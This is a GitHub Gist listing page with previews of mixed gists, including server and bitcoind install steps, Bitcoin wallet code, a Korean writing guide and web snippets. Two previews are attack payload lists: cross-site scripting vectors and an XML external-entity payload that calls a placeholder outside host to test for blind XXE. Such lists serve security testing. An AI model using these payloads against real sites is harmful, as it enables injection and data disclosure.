Skip to content

Instantly share code, notes, and snippets.

Avatar

Safflower safflower

View GitHub Profile
@GhazanfarMir
GhazanfarMir / Instructions.sh
Last active Sep 26, 2020
Install PHP7.2 NGINX and PHP7.2-FPM on Ubuntu 16.04
View Instructions.sh
########## Install NGINX ##############
# Install software-properties-common package to give us add-apt-repository package
sudo apt-get install -y software-properties-common
# Install latest nginx version from community maintained ppa
sudo add-apt-repository ppa:nginx/stable
# Update packages after adding ppa
@kurobeats
kurobeats / xss_vectors.txt
Last active Sep 28, 2020
XSS Vectors Cheat Sheet
View xss_vectors.txt
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@mariodian
mariodian / HD.php
Last active Jul 15, 2020
Derive wallet addresses from xpub, ypub and zpub with Bit-Wasp/Bitcoin-php
View HD.php
<?php
require_once('vendor/autoload.php');
use BitWasp\Bitcoin\Bitcoin;
use BitWasp\Bitcoin\Address\AddressCreator;
use BitWasp\Bitcoin\Key\Deterministic\HdPrefix\GlobalPrefixConfig;
use BitWasp\Bitcoin\Key\Deterministic\HdPrefix\NetworkConfig;
use BitWasp\Bitcoin\Network\Slip132\BitcoinRegistry;
use BitWasp\Bitcoin\Key\Deterministic\Slip132\Slip132;
View bitcoind-ubuntu-install
** Add repository and install bitcoind **
sudo apt-get install build-essential
sudo apt-get install libtool autotools-dev autoconf
sudo apt-get install libssl-dev
sudo apt-get install libboost-all-dev
sudo add-apt-repository ppa:bitcoin/bitcoin
sudo apt-get update
sudo apt-get install bitcoind
mkdir ~/.bitcoin/ && cd ~/.bitcoin/
View XXE_payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@9beach
9beach / 기술 문서를 쓸 때 주의해야 할 몇 가지.md
Last active Sep 7, 2020
기술 문서를 쓸 때 주의해야 할 몇 가지를 나열합니다.
View 기술 문서를 쓸 때 주의해야 할 몇 가지.md

기술 문서를 쓸 때 주의해야 할 몇 가지

텍스트 파일의 장점

자기 일이 소모적인 일회성 일이 아니라고 여긴다면 위키에 글을 작성하고 공유하라. 토론은 해당 페이지에서 이루어지는 것이 좋다. 중요한 정보를 위키나 깃Git으로 관리되는 텍스트가 아닌, 워드나 파워포인트와 같은 이진 문서로 작성할 때마다 당신의 동료는 접근성, 가시성, 버전 관리 등 다양한 문제로 고통을 겪을 것이다.

명징한 소재

잡다한 소재가 하나의 글에 다 들어가 있으면 다듬기도, 다른 곳에 활용하기도 힘들다. 자기 완결적인 여러 개의 글로 나눔으로써 정보로서의 가치가 더 커진다. 나중에 나눌 의향으로 일단 쓰고 보는 것은 환영한다. 고민하면서 글쓰기를 미루는 것보다는 일단 쓰는 것이 중요하다.

@jesgundy
jesgundy / favicon.html
Last active Dec 30, 2018
Favicon & iOS/Android/MS Image tags (via threespot/shortline)
View favicon.html
<!-- Remember this needs to be an icon bundle with 16px and 32px in it -->
<link rel="shortcut icon" href="img/favicon.ico" type="image/x-icon">
<!-- iOS/Android -->
<meta name="apple-mobile-web-app-title" content="FIXME">
<link rel="apple-touch-icon-precomposed" sizes="152x152" href="/apple-touch-icon-152x152-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="/apple-touch-icon-144x144-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="120x120" href="/apple-touch-icon-120x120-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="/apple-touch-icon-114x114-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="76x76" href="/apple-touch-icon-76x76-precomposed.png">
View gist:2597326

Moving from jQuery

Events

// jQuery
$(document).ready(function() {
  // code
})
@kevinSuttle
kevinSuttle / meta-tags.md
Last active Sep 22, 2020 — forked from lancejpollard/meta-tags.md
List of Usable HTML Meta and Link Tags
You can’t perform that action at this time.